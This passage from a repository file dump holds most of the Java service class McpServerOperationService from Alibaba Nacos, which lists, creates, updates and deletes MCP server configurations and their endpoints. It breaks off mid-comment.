convert to endpoint spec\", e);\n        }\n    }\n}"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/McpServerOperationService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.index.McpServerIndex;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.ai.model.mcp.McpServerStorageInfo;\nimport com.alibaba.nacos.ai.utils.McpConfigUtils;\nimport com.alibaba.nacos.ai.utils.McpRequestUtil;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.FrontEndpointConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.McpCapability;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerVersionInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServiceRef;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.KeyValueInput;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.InternetAddressUtil;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.model.form.ConfigFormV3;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.BeanUtils;\n\nimport java.time.ZoneOffset;\nimport java.time.ZonedDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.Set;\nimport java.util.UUID;\nimport java.util.stream.Collectors;\n\nimport static com.alibaba.nacos.ai.constant.Constants.MCP_SERVER_CONFIG_MARK;\nimport static com.alibaba.nacos.ai.utils.McpConfigUtils.buildMcpServerVersionConfigTags;\n\n/**\n * Nacos AI MCP server operation service. Currently, mcp server is present by there configs: 1. mcp server version info\n * {@link McpServerVersionInfo} 2. mcp server description for specified version {@link McpServerDetailInfo} 3. mcp tools\n * info {@link McpToolSpecification} when create the mcp server, we will tag the {@link McpServerVersionInfo} with mcp\n * servername for name fuzzy search.\n *\n * @author xiweng.yy\n */\n@org.springframework.stereotype.Service\npublic class McpServerOperationService {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(McpServerOperationService.class);\n    \n    private final ConfigQueryChainService configQueryChainService;\n    \n    private final ConfigOperationService configOperationService;\n    \n    private final McpToolOperationService toolOperationService;\n    \n    private final McpEndpointOperationService endpointOperationService;\n    \n    private final McpServerIndex mcpServerIndex;\n    \n    private final SyncEffectService syncEffectService;\n    \n    public McpServerOperationService(ConfigQueryChainService configQueryChainService,\n            ConfigOperationService configOperationService, McpToolOperationService toolOperationService,\n            McpEndpointOperationService endpointOperationService, McpServerIndex mcpServerIndex,\n            SyncEffectService syncEffectService) {\n        this.configQueryChainService = configQueryChainService;\n        this.configOperationService = configOperationService;\n        this.toolOperationService = toolOperationService;\n        this.endpointOperationService = endpointOperationService;\n        this.mcpServerIndex = mcpServerIndex;\n        this.syncEffectService = syncEffectService;\n    }\n    \n    /**\n     * List mcp server.\n     *\n     * @param namespaceId namespace id of mcp servers\n     * @param mcpName     mcp name pattern, if null or empty, filter all mcp servers.\n     * @param search      search type `blur` or `accurate`, means whether to search by fuzzy or exact match by\n     *                    `mcpName`.\n     * @param pageNo      page number, start from 1\n     * @param pageSize    page size each page\n     * @return list of {@link McpServerBasicInfo} matched input parameters.\n     */\n    public Page<McpServerBasicInfo> listMcpServerWithPage(String namespaceId, String mcpName, String search, int pageNo,\n            int pageSize) {\n        Page<McpServerIndexData> indexData = mcpServerIndex.searchMcpServerByNameWithPage(namespaceId, mcpName, search, pageNo,\n                pageSize);\n        return mapIndexPageToBasicServerPage(indexData);\n    }\n\n    private List<McpServerBasicInfo> mapIndexListToServerList(List<McpServerIndexData> indexData) {\n        List<McpServerBasicInfo> finalResult = Collections.emptyList();\n        if (CollectionUtils.isNotEmpty(indexData)) {\n            finalResult = indexData.stream()\n                    .map((index) -> {\n                        ConfigQueryChainRequest request = buildQueryMcpServerVersionInfoRequest(index.getNamespaceId(), index.getId());\n                        ConfigQueryChainResponse response = configQueryChainService.handle(request);\n                        McpServerBasicInfo basicInfo = transferToMcpServerVersionInfo(response.getContent());\n                        basicInfo.setNamespaceId(index.getNamespaceId());\n                        return basicInfo;\n                    })\n                    .collect(Collectors.toList());\n        }\n        return finalResult;\n    }\n    \n    private Page<McpServerBasicInfo> mapIndexPageToBasicServerPage(Page<McpServerIndexData> indexData) {\n        Page<McpServerBasicInfo> result = new Page<>();\n        result.setTotalCount(indexData.getTotalCount());\n        result.setPageNumber(indexData.getPageNumber());\n        result.setPagesAvailable(indexData.getPagesAvailable());\n        result.setPageItems(mapIndexListToServerList(indexData.getPageItems()));\n        return result;\n    }\n    \n    /**\n     * Get specified mcp server detail info. mcpServerId or namespaceId + mcpServerName is needed.\n     *\n     * @param namespaceId namespace id of mcp server\n     * @param mcpServerId id of mcp server\n     * @return detail info with {@link McpServerDetailInfo}\n     * @throws NacosException any exception during handling\n     */\n    public McpServerDetailInfo getMcpServerDetail(String namespaceId, String mcpServerId, String mcpServerName,\n            String version) throws NacosException {\n        mcpServerId = resolveMcpServerId(namespaceId, mcpServerName, mcpServerId);\n        \n        McpServerVersionInfo mcpServerVersionInfo = getMcpServerVersionInfo(namespaceId, mcpServerId);\n        if (StringUtils.isEmpty(version)) {\n            int size = mcpServerVersionInfo.getVersionDetails().size();\n            ServerVersionDetail last = mcpServerVersionInfo.getVersionDetails().get(size - 1);\n            version = last.getVersion();\n        }\n        \n        ConfigQueryChainRequest request = buildQueryMcpServerRequest(namespaceId, mcpServerId, version);\n        ConfigQueryChainResponse response = configQueryChainService.handle(request);\n        if (McpConfigUtils.isConfigNotFound(response.getStatus())) {\n            throw new NacosApiException(NacosApiException.NOT_FOUND, ErrorCode.MCP_SEVER_VERSION_NOT_FOUND,\n                    String.format(\"mcp server `%s` for version `%s` not found\", mcpServerId, version));\n        }\n        \n        McpServerStorageInfo serverSpecification = JacksonUtils.toObj(response.getContent(),\n                McpServerStorageInfo.class);\n        \n        McpServerDetailInfo result = new McpServerDetailInfo();\n        result.setId(mcpServerId);\n        result.setNamespaceId(namespaceId);\n        BeanUtils.copyProperties(serverSpecification, result);\n        \n        List<ServerVersionDetail> versionDetails = mcpServerVersionInfo.getVersionDetails();\n        String latestVersion = mcpServerVersionInfo.getLatestPublishedVersion();\n        for (ServerVersionDetail versionDetail : versionDetails) {\n            versionDetail.setIs_latest(versionDetail.getVersion().equals(latestVersion));\n        }\n        result.setAllVersions(mcpServerVersionInfo.getVersionDetails());\n        \n        ServerVersionDetail versionDetail = result.getVersionDetail();\n        versionDetail.setIs_latest(versionDetail.getVersion().equals(latestVersion));\n        result.setVersion(versionDetail.getVersion());\n        \n        if (Objects.nonNull(serverSpecification.getToolsDescriptionRef())) {\n            McpToolSpecification toolSpec = toolOperationService.getMcpTool(namespaceId,\n                    serverSpecification.getToolsDescriptionRef());\n            result.setToolSpec(toolSpec);\n        }\n        \n        if (!AiConstants.Mcp.MCP_PROTOCOL_STDIO.equalsIgnoreCase(serverSpecification.getProtocol())) {\n            injectEndpoint(result);\n        }\n        return result;\n    }\n    \n    private McpServerVersionInfo getMcpServerVersionInfo(String namespaceId, String mcpServerId)\n            throws NacosApiException {\n        ConfigQueryChainRequest request = buildQueryMcpServerVersionInfoRequest(namespaceId, mcpServerId);\n        ConfigQueryChainResponse response = configQueryChainService.handle(request);\n        if (McpConfigUtils.isConfigNotFound(response.getStatus())) {\n            throw new NacosApiException(NacosApiException.NOT_FOUND, ErrorCode.MCP_SERVER_NOT_FOUND,\n                    String.format(\"Mcp server [ID: %s] not found in namespace [%s]. Response: %s\", mcpServerId,\n                            namespaceId, response.getMessage()));\n        }\n        \n        return JacksonUtils.toObj(response.getContent(), McpServerVersionInfo.class);\n    }\n    \n    private void injectEndpoint(McpServerDetailInfo detailInfo) throws NacosException {\n        injectBackendEndpointRef(detailInfo);\n        injectFrontendEndpointRef(detailInfo);\n    }\n    \n    private void injectBackendEndpointRef(McpServerDetailInfo detailInfo) throws NacosException {\n        List<Instance> instances;\n        \n        instances = endpointOperationService.getMcpServerEndpointInstances(\n                detailInfo.getRemoteServerConfig().getServiceRef());\n        \n        String protocol = null;\n        McpServiceRef serviceRef = detailInfo.getRemoteServerConfig().getServiceRef();\n        if (Objects.nonNull(serviceRef)) {\n            protocol = serviceRef.getTransportProtocol();\n        }\n        List<McpEndpointInfo> backendEndpoints = transferToMcpEndpointInfo(instances,\n                detailInfo.getRemoteServerConfig().getExportPath(), \n                protocol);\n        detailInfo.setBackendEndpoints(backendEndpoints);\n    }\n\n    private List<McpEndpointInfo> transferToMcpEndpointInfoWithHeaders(List<Instance> instances, String exportPath,\n            String protocol, List<KeyValueInput> headers) {\n        List<McpEndpointInfo> endpointInfos = new LinkedList<>();\n        for (Instance each : instances) {\n            McpEndpointInfo mcpEndpointInfo = new McpEndpointInfo();\n            mcpEndpointInfo.setAddress(each.getIp());\n            mcpEndpointInfo.setPort(each.getPort());\n            mcpEndpointInfo.setProtocol(protocol);\n            mcpEndpointInfo.setHeaders(headers);\n            mcpEndpointInfo.setPath(exportPath);\n            endpointInfos.add(mcpEndpointInfo);\n        }\n        return endpointInfos;\n    }\n    \n    private List<McpEndpointInfo> transferToMcpEndpointInfo(List<Instance> instances, String exportPath,\n            String protocol) {\n        return transferToMcpEndpointInfoWithHeaders(instances, exportPath, protocol, null);\n    }\n    \n    private void injectFrontendEndpointRef(McpServerDetailInfo detailInfo) throws NacosException {\n        List<FrontEndpointConfig> frontEndpointConfigs = detailInfo.getRemoteServerConfig()\n                .getFrontEndpointConfigList();\n        if (CollectionUtils.isEmpty(frontEndpointConfigs)) {\n            detailInfo.setFrontendEndpoints(Collections.emptyList());\n            return;\n        }\n        List<McpEndpointInfo> frontendEndpoints = new LinkedList<>();\n        for (FrontEndpointConfig each : frontEndpointConfigs) {\n            if (AiConstants.Mcp.MCP_ENDPOINT_TYPE_REF.equals(each.getEndpointType())) {\n                McpServiceRef mcpServiceRef = McpRequestUtil.transferToMcpServiceRef(each.getEndpointData());\n                List<Instance> instances = endpointOperationService.getMcpServerEndpointInstances(mcpServiceRef);\n                List<McpEndpointInfo> endpointInfos = transferToMcpEndpointInfoWithHeaders(instances, each.getPath(),\n                        each.getProtocol(), each.getHeaders());\n                frontendEndpoints.addAll(endpointInfos);\n            } else if (AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT.equals(each.getEndpointType())) {\n                McpEndpointInfo endpointInfo = new McpEndpointInfo();\n                endpointInfo.setPath(each.getPath());\n                endpointInfo.setProtocol(each.getProtocol());\n                endpointInfo.setHeaders(each.getHeaders());\n                String address = each.getEndpointData().toString();\n                if (InternetAddressUtil.containsPort(address)) {\n                    String[] info = InternetAddressUtil.splitIpPortStr(address);\n                    endpointInfo.setAddress(info[0]);\n                    endpointInfo.setPort(Integer.parseInt(info[1]));\n                } else {\n                    endpointInfo.setAddress(address);\n                    endpointInfo.setPort(Constants.PROTOCOL_TYPE_HTTP.equals(each.getProtocol()) ? 80 : 443);\n                }\n                frontendEndpoints.add(endpointInfo);\n            } else if (AiConstants.Mcp.MCP_FRONT_ENDPOINT_TYPE_TO_BACK.equals(each.getEndpointType())) {\n                detailInfo.getBackendEndpoints().stream()\n                    .map((endpoint) -> {\n                        McpEndpointInfo frontEndpoint = new McpEndpointInfo();\n                        frontEndpoint.setAddress(endpoint.getAddress());\n                        frontEndpoint.setPort(endpoint.getPort());\n                        frontEndpoint.setProtocol(endpoint.getProtocol());\n                        frontEndpoint.setPath(each.getPath());\n                        frontEndpoint.setHeaders(each.getHeaders());\n                        return frontEndpoint;\n                    })\n                    .forEach(frontendEndpoints::add);\n            }\n            detailInfo.setFrontendEndpoints(frontendEndpoints);\n        }\n    }\n    \n    /**\n     * Create new mcp server.\n     *\n     * @param namespaceId           namespace id of mcp server\n     * @param serverSpecification   mcp server specification, see {@link McpServerBasicInfo}\n     * @param toolSpecification     mcp server included tools, see {@link McpToolSpecification}, optional\n     * @param endpointSpecification mcp server endpoint specification, see {@link McpEndpointSpec}, optional\n     * @throws NacosException any exception during handling\n     */\n    public String createMcpServer(String namespaceId, McpServerBasicInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification) throws NacosException {\n        \n        String existId = resolveMcpServerId(namespaceId, serverSpecification.getName(), StringUtils.EMPTY);\n        if (StringUtils.isNotEmpty(existId)) {\n            throw new NacosApiException(NacosApiException.CONFLICT, ErrorCode.RESOURCE_CONFLICT,\n                    String.format(\"mcp server `%s` has existed, please update it rather than create.\",\n                            serverSpecification.getName()));\n        }\n        \n        ServerVersionDetail versionDetail = serverSpecification.getVersionDetail();\n        if (null == versionDetail && StringUtils.isNotBlank(serverSpecification.getVersion())) {\n            versionDetail = new ServerVersionDetail();\n            versionDetail.setVersion(serverSpecification.getVersion());\n            serverSpecification.setVersionDetail(versionDetail);\n        }\n        if (Objects.isNull(versionDetail) || StringUtils.isEmpty(versionDetail.getVersion())) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Version must be specified in parameter `serverSpecification`\");\n        }\n        String id;\n        String customMcpId = serverSpecification.getId();\n        \n        if (StringUtils.isEmpty(customMcpId)) {\n            id = UUID.randomUUID().toString();\n        } else {\n            if (!StringUtils.isUuidString(customMcpId)) {\n                throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                        \"parameter `serverSpecification.id` is not match uuid pattern,  must obey uuid pattern\");\n            }\n            if (mcpServerIndex.getMcpServerById(serverSpecification.getId()) != null) {\n                throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                        \"parameter `serverSpecification.id` conflict with exist mcp server id\");\n            }\n            \n            id = customMcpId;\n        }\n        \n        serverSpecification.setId(id);\n        ZonedDateTime currentTime = ZonedDateTime.now(ZoneOffset.UTC);\n        DateTimeFormatter formatter = DateTimeFormatter.ofPattern(Constants.RELEASE_DATE_FORMAT);\n        String formattedCurrentTime = currentTime.format(formatter);\n        versionDetail.setRelease_date(formattedCurrentTime);\n        \n        McpServerStorageInfo newSpecification = new McpServerStorageInfo();\n        BeanUtils.copyProperties(serverSpecification, newSpecification);\n        injectToolAndEndpoint(namespaceId, serverSpecification.getId(), newSpecification, toolSpecification,\n                endpointSpecification, Boolean.FALSE);\n        \n        McpServerVersionInfo versionInfo = buildServerVersionInfo(newSpecification, id, versionDetail);\n        \n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        configRequestInfo.setUpdateForExist(Boolean.FALSE);\n        \n        ConfigFormV3 mcpServerVersionForm = buildMcpServerVersionForm(namespaceId, versionInfo);\n        configOperationService.publishConfig(mcpServerVersionForm, configRequestInfo, null);\n        \n        ConfigForm configForm = buildMcpConfigForm(namespaceId, id, versionDetail.getVersion(), newSpecification);\n        long startOperationTime = System.currentTimeMillis();\n        configOperationService.publishConfig(configForm, configRequestInfo, null);\n        syncEffectService.toSync(configForm, startOperationTime);\n        \n        // Delete the relevant cache after a successful database operation\n        invalidateCacheAfterDbOperation(namespaceId, serverSpecification.getName(), id);\n        \n        return id;\n    }\n    \n    private static McpServerVersionInfo buildServerVersionInfo(McpServerBasicInfo serverSpecification, String id,\n            ServerVersionDetail versionDetail) {\n        McpServerVersionInfo versionInfo = new McpServerVersionInfo();\n        versionInfo.setName(serverSpecification.getName());\n        versionInfo.setId(id);\n        versionInfo.setDescription(serverSpecification.getDescription());\n        versionInfo.setRepository(serverSpecification.getRepository());\n        versionInfo.setFrontProtocol(serverSpecification.getFrontProtocol());\n        versionInfo.setProtocol(serverSpecification.getProtocol());\n        versionInfo.setCapabilities(serverSpecification.getCapabilities());\n        versionInfo.setLatestPublishedVersion(serverSpecification.getVersionDetail().getVersion());\n        versionInfo.setVersions(Collections.singletonList(versionDetail));\n        return versionInfo;\n    }\n    \n    /**\n     * Update existed mcp server.\n     *\n     * <p>\n     * `namespaceId` and `mcpServerId` can't be changed.\n     * </p>\n     *\n     * @param namespaceId           namespace id of mcp server, used to mark which mcp server to update\n     * @param serverSpecification   mcp server specification, see {@link McpServerBasicInfo}\n     * @param toolSpecification     mcp server included tools, see {@link McpToolSpecification}, optional\n     * @param endpointSpecification mcp server endpoint specification, see {@link McpEndpointSpec}, optional\n     * @param overrideExisting      if replace all the instances when update the mcp server\n     * @throws NacosException any exception during handling\n     */\n    public void updateMcpServer(String namespaceId, boolean isPublish, McpServerBasicInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification, boolean overrideExisting) throws NacosException {\n        \n        String mcpServerId = serverSpecification.getId();\n        mcpServerId = resolveMcpServerId(namespaceId, serverSpecification.getName(), mcpServerId);\n        if (StringUtils.isEmpty(serverSpecification.getId())) {\n            serverSpecification.setId(mcpServerId);\n        }\n        \n        ServerVersionDetail versionDetail = serverSpecification.getVersionDetail();\n        if (null == versionDetail && StringUtils.isNotBlank(serverSpecification.getVersion())) {\n            versionDetail = new ServerVersionDetail();\n            versionDetail.setVersion(serverSpecification.getVersion());\n            serverSpecification.setVersionDetail(versionDetail);\n        }\n        if (Objects.isNull(versionDetail) || StringUtils.isEmpty(versionDetail.getVersion())) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Version must be specified in parameter `serverSpecification`\");\n        }\n        final McpServerVersionInfo mcpServerVersionInfo = getMcpServerVersionInfo(namespaceId, mcpServerId);\n        \n        String updateVersion = versionDetail.getVersion();\n        McpServerStorageInfo newSpecification = new McpServerStorageInfo();\n        BeanUtils.copyProperties(serverSpecification, newSpecification);\n        injectToolAndEndpoint(namespaceId, mcpServerId, newSpecification, toolSpecification, endpointSpecification, overrideExisting);\n        \n        ConfigForm configForm = buildMcpConfigForm(namespaceId, mcpServerId, updateVersion, newSpecification);\n        configOperationService.publishConfig(configForm, new ConfigRequestInfo(), null);\n        \n        List<ServerVersionDetail> versionDetails = mcpServerVersionInfo.getVersionDetails();\n        Set<String> versionSet = versionDetails.stream().map(ServerVersionDetail::getVersion)\n                .collect(Collectors.toSet());\n        if (!versionSet.contains(updateVersion)) {\n            ServerVersionDetail version = new ServerVersionDetail();\n            version.setVersion(updateVersion);\n            versionDetails.add(version);\n            mcpServerVersionInfo.setVersions(versionDetails);\n        }\n        \n        if (isPublish) {\n            mcpServerVersionInfo.setName(newSpecification.getName());\n            mcpServerVersionInfo.setDescription(newSpecification.getDescription());\n            mcpServerVersionInfo.setRepository(newSpecification.getRepository());\n            mcpServerVersionInfo.setProtocol(newSpecification.getProtocol());\n            mcpServerVersionInfo.setFrontProtocol(newSpecification.getFrontProtocol());\n            mcpServerVersionInfo.setCapabilities(newSpecification.getCapabilities());\n            mcpServerVersionInfo.setLatestPublishedVersion(updateVersion);\n            \n            for (ServerVersionDetail detail : versionDetails) {\n                if (detail.getVersion().equals(updateVersion)) {\n                    ZonedDateTime currentTime = ZonedDateTime.now(ZoneOffset.UTC);\n                    DateTimeFormatter formatter = DateTimeFormatter.ofPattern(\"yyyy-MM-dd'T'HH:mm:ss'Z'\");\n                    String formattedCurrentTime = currentTime.format(formatter);\n                    detail.setRelease_date(formattedCurrentTime);\n                    detail.setIs_latest(true);\n                    break;\n                } else {\n                    detail.setIs_latest(false);\n                }\n            }\n            mcpServerVersionInfo.setVersions(versionDetails);\n            mcpServerVersionInfo.setEnabled(newSpecification.isEnabled());\n        }\n        \n        ConfigFormV3 mcpServerVersionForm = buildMcpServerVersionForm(namespaceId, mcpServerVersionInfo);\n        long startOperationTime = System.currentTimeMillis();\n        configOperationService.publishConfig(mcpServerVersionForm, new ConfigRequestInfo(), null);\n        syncEffectService.toSync(mcpServerVersionForm, startOperationTime);\n        \n        // Delete the relevant cache after a successful database operation\n        invalidateCacheAfterDbUpdateOperation(namespaceId, mcpServerVersionInfo.getName(),\n                serverSpecification.getName(), mcpServerId);\n    }\n    \n    /**\n     * Delete existed mcp server.\n     *\n     * @param namespaceId namespace id of mcp server\n     * @param mcpServerId name of mcp server\n     * @throws NacosException any exception during handling\n     */\n    public void deleteMcpServer(String namespaceId, String mcpName, String mcpServerId, String version)\n            throws NacosException {\n        mcpServerId = resolveMcpServerId(namespaceId, mcpName, mcpServerId);\n        McpServerVersionInfo mcpServerVersionInfo = getMcpServerVersionInfo(namespaceId, mcpServerId);\n        List<String> versionsNeedDelete = new ArrayList<>();\n        if (StringUtils.isNotEmpty(version)) {\n            versionsNeedDelete.add(version);\n        } else {\n            versionsNeedDelete = mcpServerVersionInfo.getVersionDetails().stream().map(ServerVersionDetail::getVersion)\n                    .collect(Collectors.toList());\n        }\n        \n        for (String versionNeedDelete : versionsNeedDelete) {\n            toolOperationService.deleteMcpTool(namespaceId, mcpServerId, versionNeedDelete);\n            endpointOperationService.deleteMcpServerEndpointService(namespaceId, mcpServerVersionInfo.getName() + \"::\" + versionNeedDelete);\n            String serverSpecDataId = McpConfigUtils.formatServerSpecInfoDataId(mcpServerId, versionNeedDelete);\n            configOperationService.deleteConfig(serverSpecDataId, Constants.MCP_SERVER_GROUP, namespaceId, null, null,\n                    \"nacos\", null);\n            String serverVersionDataId = McpConfigUtils.formatServerVersionInfoDataId(mcpServerId);\n            configOperationService.deleteConfig(serverVersionDataId, Constants.MCP_SERVER_VERSIONS_GROUP, namespaceId,\n                    null, null, \"nacos\", null);\n        }\n        \n        // Delete the relevant cache after a successful database operation\n        invalidateCacheAfterDbOperation(namespaceId, mcpName, mcpServerId);\n    }\n    \n    private void injectToolAndEndpoint(String namespaceId, String mcpServerId, McpServerStorageInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification, boolean overrideExisting) throws NacosException {\n        serverSpecification.setCapabilities(new LinkedList<>());\n        boolean hasToolSpec = toolSpecification != null;\n        boolean hasTools = hasToolSpec && toolSpecification.getTools() != null;\n        boolean hasSecuritySchemes = hasToolSpec && toolSpecification.getSecuritySchemes() != null;\n        boolean hasEncryptedData = hasToolSpec && toolSpecification.getEncryptData() != null;\n        boolean shouldCreateToolConfig = hasToolSpec && (hasTools || hasSecuritySchemes || hasEncryptedData);\n        if (shouldCreateToolConfig) {\n            toolOperationService.refreshMcpTool(namespaceId, serverSpecification, toolSpecification);\n            serverSpecification.getCapabilities().add(McpCapability.TOOL);\n            String version = serverSpecification.getVersionDetail().getVersion();\n            String toolSpecDataId = McpConfigUtils.formatServerToolSpecDataId(mcpServerId, version);\n            serverSpecification.setToolsDescriptionRef(toolSpecDataId);\n        }\n        if (null != endpointSpecification) {\n            Service service = endpointOperationService.createMcpServerEndpointServiceIfNecessary(namespaceId,\n                    serverSpecification.getName(), serverSpecification.getVersionDetail().getVersion(), endpointSpecification, overrideExisting);\n            String transportProtocol = endpointSpecification.getData().get(Constants.MCP_BACKEND_INSTANCE_PROTOCOL_KEY);\n            McpServiceRef serviceRef = new McpServiceRef();\n            serviceRef.setNamespaceId(service.getNamespace());\n            serviceRef.setGroupName(service.getGroup());\n            serviceRef.setServiceName(service.getName());\n            serviceRef.setTransportProtocol(transportProtocol);\n            serverSpecification.getRemoteServerConfig().setServiceRef(serviceRef);\n        }\n    }\n    \n    private ConfigFormV3 buildMcpServerVersionForm(String namespaceId, McpServerVersionInfo mcpServerVersionInfo) {\n        ConfigFormV3 configFormV3 = new ConfigFormV3();\n        configFormV3.setGroupName(Constants.MCP_SERVER_VERSIONS_GROUP);\n        configFormV3.setGroup(Constants.MCP_SERVER_VERSIONS_GROUP);\n        configFormV3.setNamespaceId(namespaceId);\n        configFormV3.setDataId(McpConfigUtils.formatServerVersionInfoDataId(mcpServerVersionInfo.getId()));\n        configFormV3.setContent(JacksonUtils.toJson(mcpServerVersionInfo));\n        configFormV3.setType(ConfigType.JSON.getType());\n        configFormV3.setAppName(mcpServerVersionInfo.getName());\n        configFormV3.setSrcUser(\"nacos\");\n        String configTags = buildMcpServerVersionConfigTags(mcpServerVersionInfo.getName());\n        configFormV3.setConfigTags(configTags);\n        return configFormV3;\n    }\n    \n    private ConfigFormV3 buildMcpConfigForm(String namespaceId, String mcpServerId, String version,\n            McpServerBasicInfo serverSpecification) {\n        ConfigFormV3 configFormV3 = new ConfigFormV3();\n        configFormV3.setGroupName(Constants.MCP_SERVER_GROUP);\n        configFormV3.setGroup(Constants.MCP_SERVER_GROUP);\n        configFormV3.setNamespaceId(namespaceId);\n        configFormV3.setDataId(McpConfigUtils.formatServerSpecInfoDataId(mcpServerId, version));\n        configFormV3.setContent(JacksonUtils.toJson(serverSpecification));\n        configFormV3.setType(ConfigType.JSON.getType());\n        configFormV3.setAppName(serverSpecification.getName());\n        configFormV3.setSrcUser(\"nacos\");\n        configFormV3.setConfigTags(MCP_SERVER_CONFIG_MARK);\n        return configFormV3;\n    }\n    \n    private ConfigQueryChainRequest buildQueryMcpServerRequest(String namespaceId, String mcpServerId, String version) {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setDataId(McpConfigUtils.formatServerSpecInfoDataId(mcpServerId, version));\n        request.setGroup(Constants.MCP_SERVER_GROUP);\n        request.setTenant(namespaceId);\n        return request;\n    }\n    \n    private ConfigQueryChainRequest buildQueryMcpServerVersionInfoRequest(String namespaceId, String mcpServerId) {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setDataId(McpConfigUtils.formatServerVersionInfoDataId(mcpServerId));\n        request.setGroup(Constants.MCP_SERVER_VERSIONS_GROUP);\n        request.setTenant(namespaceId);\n        return request;\n    }\n    \n    private McpServerVersionInfo transferToMcpServerVersionInfo(String content) {\n        McpServerVersionInfo versionInfo = JacksonUtils.toObj(content, McpServerVersionInfo.class);\n        String latestPublishedVersion = versionInfo.getLatestPublishedVersion();\n        for (ServerVersionDetail versionDetail : versionInfo.getVersionDetails()) {\n            if (versionDetail.getVersion().equals(latestPublishedVersion)) {\n                versionDetail.setIs_latest(true);\n                versionInfo.setVersionDetail(versionDetail);\n                break;\n            } else {\n                versionDetail.setIs_latest(false);\n            }\n        }\n        versionInfo.setVersion(latestPublishedVersion);\n        return versionInfo;\n    }\n    \n    private String resolveMcpServerId(String namespaceId, String serverName, String serverId) {\n        if (StringUtils.isNotEmpty(serverId)) {\n            return serverId;\n        }\n        \n        McpServerIndexData indexData = mcpServerIndex.getMcpServerByName(namespaceId, serverName);\n        if (Objects.nonNull(indexData)) {\n            return indexData.getId();\n        }\n        \n        return null;\n    }\n    \n    /**\n     * Invalidate cache after update mcp server operation.\n     *\n     * @param namespaceId namespace id of mcp server\n     * @param oldMcpName  old mcp server name\n     * @param newMcpName  new mcp server name\n     * @param mcpServerId mcp server id\n     */\n    private void invalidateCacheAfterDbUpdateOperation(String namespaceId, String oldMcpName, String newMcpName,\n            String mcpServerId) {\n        try {\n            if (StringUtils.isNotEmpty(oldMcpName) && !oldMcpName.equals(newMcpName)) {\n                mcpServerIndex.removeMcpServerByName(namespaceId, oldMcpName);\n            }\n            if (StringUtils.isNotEmpty(newMcpName)) {\n                mcpServerIndex.removeMcpServerByName(namespaceId, newMcpName);\n            }\n            if (StringUtils.isNotEmpty(mcpServerId)) {\n                mcpServerIndex.removeMcpServerById(mcpServerId);\n            }\n            LOGGER.debug(\"Cache invalidated after updateMcpServer: namespaceId={}, oldName={}, newName={}, id={}\",\n                    namespaceId, oldMcpName, newMcpName, mcpServerId);\n        } catch (Exception e) {\n            LOGGER.warn(\n                    \"Failed to invalidate cache after updateMcpServer: namespaceId={}, oldName={}, newName={}, id={}, error={}\",\n                    namespaceId, oldMcpName, newMcpName, mcpServerId, e.getMessage());\n        }\n    }\n    \n    /**\n     * Unified cache invalidation method.\n     *\n     * @param namespaceId namespace ID\n     * @param mcpName     MCP server name\n     * @param 